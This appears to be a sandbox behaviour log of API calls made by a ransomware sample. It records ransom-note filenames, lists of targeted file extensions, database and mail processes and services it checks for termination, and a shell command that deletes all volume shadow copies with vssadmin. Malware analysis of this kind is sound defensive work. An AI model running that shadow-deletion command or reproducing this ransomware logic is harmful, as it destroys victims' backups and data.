	[0158.837] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d7e8, Size=0x80) returned 0x766948
	[0158.837] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad948, Size=0x8) returned 0x7ad8a8
	[0158.837] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad8a8, Size=0x10) returned 0x7acb20
	[0158.837] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7acb20, Size=0x20) returned 0x74f008
	[0158.837] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0158.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x766948 | out: hHeap=0x710000) returned 1
	[0158.837] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7acb80, Size=0x20) returned 0x74f0f8
	[0158.837] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f0f8, Size=0x40) returned 0x72d8c0
	[0158.837] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0158.837] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0158.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72d8c0 | out: hHeap=0x710000) returned 1
	[0158.837] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7acb80, Size=0x20) returned 0x74ef40
	[0158.837] lstrlenW (lpString="Info.hta") returned 8
	[0158.837] lstrlenW (lpString="Info.hta") returned 8
	[0158.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74ef40 | out: hHeap=0x710000) returned 1
	[0158.838] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7ae3c8, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0x77
	[0158.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ae3c8 | out: hHeap=0x710000) returned 1
	[0158.838] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0158.838] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f008, Size=0x40) returned 0x72d950
	[0158.838] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7acb80, Size=0x20) returned 0x74f0a8
	[0158.839] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7acb80, Size=0x20) returned 0x74f198
	[0158.839] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f198, Size=0x40) returned 0x72da28
	[0158.839] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72da28, Size=0x80) returned 0x767140
	[0158.839] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x767140, Size=0x100) returned 0x7a77b8
	[0158.839] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0158.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7a77b8 | out: hHeap=0x710000) returned 1
	[0158.839] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x7ae3c8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0158.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7be3d0 | out: hHeap=0x710000) returned 1
	[0158.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ae3c8 | out: hHeap=0x710000) returned 1
	[0158.840] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad808, Size=0x8) returned 0x7ad928
	[0158.840] lstrlenW (lpString="%windir%;") returned 9
	[0158.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f0a8 | out: hHeap=0x710000) returned 1
	[0158.840] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0158.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0158.840] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7acf88, Size=0x20) returned 0x74efb8
	[0158.840] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74efb8, Size=0x40) returned 0x72d878
	[0158.840] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d878, Size=0x80) returned 0x766f20
	[0158.840] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x766f20, Size=0x100) returned 0x7a7de8
	[0158.840] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad978, Size=0x8) returned 0x7ad8a8
	[0158.840] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad8a8, Size=0x10) returned 0x7ad0d8
	[0158.841] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad0d8, Size=0x20) returned 0x74f030
	[0158.841] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad9c8, Size=0x8) returned 0x7ad848
	[0158.841] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad958, Size=0x8) returned 0x7ad9c8
	[0158.841] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad8a8, Size=0x8) returned 0x7ad8f8
	[0158.841] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad8f8, Size=0x10) returned 0x7acf58
	[0158.841] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7acf58, Size=0x20) returned 0x74f260
	[0158.841] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad848, Size=0x10) returned 0x7ace20
	[0158.841] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad9c8, Size=0x10) returned 0x7ad0a8
	[0158.841] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad958, Size=0x8) returned 0x7ad988
	[0158.841] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad8a8, Size=0x8) returned 0x7ad9c8
	[0159.046] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ace20, Size=0x20) returned 0x74f198
	[0159.046] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad0a8, Size=0x20) returned 0x74ee50
	[0159.046] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad8c8, Size=0x8) returned 0x7ad8d8
	[0159.047] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0159.047] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7a7de8 | out: hHeap=0x710000) returned 1
	[0159.047] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76faf0, Size=0x20) returned 0x74ee78
	[0159.047] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x7be3d0, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0159.047] lstrlenW (lpString="C:\\") returned 3
	[0159.047] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0159.047] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7be3d0 | out: hHeap=0x710000) returned 1
	[0159.048] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad848, Size=0x82) returned 0x776dc8
	[0159.048] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad868, Size=0x100) returned 0x7a7ff8
	[0159.048] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x776dc8, Size=0x104) returned 0x7283c8
	[0159.048] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x777098, Size=0x104) returned 0x728530
	[0159.048] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7674f8, Size=0x100) returned 0x7a8100
	[0159.048] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7a7ff8, Size=0x200) returned 0x767f98
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad858 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x767f98 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fb20 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x766b68 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fb68 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x767470 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fbb0 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7283c8 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76f958 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x728530 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fa78 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x777638 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fb98 | out: hHeap=0x710000) returned 1
	[0159.049] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76fa60, Size=0x20) returned 0x74eec8
	[0159.049] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74eec8, Size=0x40) returned 0x72db48
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad808 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76f9b8 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x777518 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fbe0 | out: hHeap=0x710000) returned 1
	[0159.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7a8100 | out: hHeap=0x710000) returned 1
	[0159.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76faf0 | out: hHeap=0x710000) returned 1
	[0159.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad838 | out: hHeap=0x710000) returned 1
	[0159.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fb08 | out: hHeap=0x710000) returned 1
	[0159.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x725fe8 | out: hHeap=0x710000) returned 1
	[0159.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x724e20 | out: hHeap=0x710000) returned 1
	[0159.050] lstrlenW (lpString="%systemdrive%") returned 13
	[0159.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74ee78 | out: hHeap=0x710000) returned 1
	[0159.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x766948 | out: hHeap=0x710000) returned 1
	[0159.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad8c8 | out: hHeap=0x710000) returned 1
	[0159.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x777778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
	[0159.050] WaitForMultipleObjects (nCount=0x2, lpHandles=0x72b730*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0188.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72b730 | out: hHeap=0x710000) returned 1
	[0188.695] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0188.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72d830 | out: hHeap=0x710000) returned 1
	[0188.696] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068ee0
	[0188.696] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068ee0, Size=0x20) returned 0x392a128
	[0188.696] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x392a128, Size=0x40) returned 0x4004468
	[0188.696] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4004468, Size=0x80) returned 0x7669d0
	[0188.696] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068cd0
	[0188.696] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068cd0, Size=0x20) returned 0x3929fc0
	[0188.696] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1fffc) returned 0x3fb0048
	[0188.696] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4057fb8
	[0188.697] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0188.697] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068cd0
	[0188.697] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068cd0, Size=0x20) returned 0x3929fe8
	[0188.697] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x3929fe8, Size=0x40) returned 0x4004468
	[0188.697] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4004468, Size=0x80) returned 0x7668c0
	[0188.697] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7668c0, Size=0x100) returned 0x7a7bd8
	[0188.697] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0188.697] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7a7bd8 | out: hHeap=0x710000) returned 1
	[0188.697] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x4057fb8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0188.697] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0188.697] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0188.697] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x540, hWritePipe=0x19fd54*=0x2cc) returned 1
	[0188.697] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x444, hWritePipe=0x19fdc4*=0x390) returned 1
	[0188.698] SetHandleInformation (hObject=0x2cc, dwMask=0x1, dwFlags=0x0) returned 1
	[0188.698] SetHandleInformation (hObject=0x444, dwMask=0x1, dwFlags=0x0) returned 1
	[0188.698] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x540, hStdOutput=0x390, hStdError=0x390), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x310, hThread=0x30c, dwProcessId=0xf6c, dwThreadId=0xf70)) returned 1
	[0188.713] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0188.713] WriteFile (in: hFile=0x2cc, lpBuffer=0x7669d0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x7669d0*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0188.713] CloseHandle (hObject=0x310) returned 1
	[0188.713] CloseHandle (hObject=0x30c) returned 1
	[0188.713] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3fb0048 | out: hHeap=0x710000) returned 1
	[0188.715] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0188.715] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7669d0 | out: hHeap=0x710000) returned 1
	[0188.715] lstrlenW (lpString="%comspec%") returned 9
	[0188.715] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fc0 | out: hHeap=0x710000) returned 1
	[0188.715] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102
	[0188.715] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x724b40 | out: hHeap=0x710000) returned 1
	[0188.715] ExitProcess (uExitCode=0x0) 

Thread:
	id = 30
	os_tid = 0xd58


Thread:
	id = 32
	os_tid = 0xd64

	[0158.973] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7ace08
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ace08, Size=0x20) returned 0x74f008
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f008, Size=0x40) returned 0x72d9e0
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d9e0, Size=0x80) returned 0x767360
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x767360, Size=0x100) returned 0x7a7ef0
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7acfb8
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7acfb8, Size=0x20) returned 0x74ef40
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74ef40, Size=0x40) returned 0x72db90
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72db90, Size=0x80) returned 0x766f20
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x766f20, Size=0x100) returned 0x7a7ce0
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ace98
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x7ad8c8
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7aceb0
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad8c8, Size=0x8) returned 0x7ad948
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x724ca0
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad948, Size=0x10) returned 0x7ace38
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x18) returned 0x724cc0
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1a) returned 0x74f210
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ace38, Size=0x20) returned 0x74efb8
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c) returned 0x74ef40
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x16) returned 0x724d20
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1a) returned 0x74ee28
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7acf58
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x7ad858
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x40) returned 0x72d6c8
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad858, Size=0x8) returned 0x7ad7f8
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x3c) returned 0x72d560
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad7f8, Size=0x10) returned 0x7acfd0
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x725100
	[0158.974] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x18) returned 0x725140
	[0158.974] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7acfd0, Size=0x20) returned 0x74eea0
	[0158.975] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x24) returned 0x725f58
	[0158.975] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0158.975] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7a7ef0 | out: hHeap=0x710000) returned 1
	[0158.975] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0158.975] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7a7ce0 | out: hHeap=0x710000) returned 1
	[0158.975] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x74efe0
	[0158.975] EnumServicesStatusExW (in: hSCManager=0x74efe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0158.976] GetLastError () returned 0xea
	[0158.976] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1b4e) returned 0x76a5c8
	[0158.976] EnumServicesStatusExW (in: hSCManager=0x74efe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x76a5c8, cbBufSize=0x1b4e, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x76a5c8, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0158.977] CloseServiceHandle (hSCObject=0x74efe0) returned 1
	[0158.977] lstrlenW (lpString="AppXSvc") returned 7
	[0158.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0158.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0158.977] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0158.977] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0158.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0158.977] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0158.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0158.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0158.977] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0158.977] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0158.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0158.977] lstrlenW (lpString="Audiosrv") returned 8
	[0158.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0158.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0158.977] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0158.977] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0158.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0158.978] lstrlenW (lpString="BFE") returned 3
	[0158.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0158.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0158.978] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0158.978] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0158.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0158.978] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0158.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0158.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0158.978] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0158.978] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0158.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0158.978] lstrlenW (lpString="CDPSvc") returned 6
	[0158.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0158.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0158.978] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0158.978] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0158.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0158.978] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0158.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0158.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0158.978] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0158.978] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0158.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0158.978] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0158.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0158.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0158.978] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0158.978] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0158.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0158.978] lstrlenW (lpString="CryptSvc") returned 8
	[0158.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0158.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0158.978] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0158.978] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0158.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0158.979] lstrlenW (lpString="DcomLaunch") returned 10
	[0158.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0158.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0158.979] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
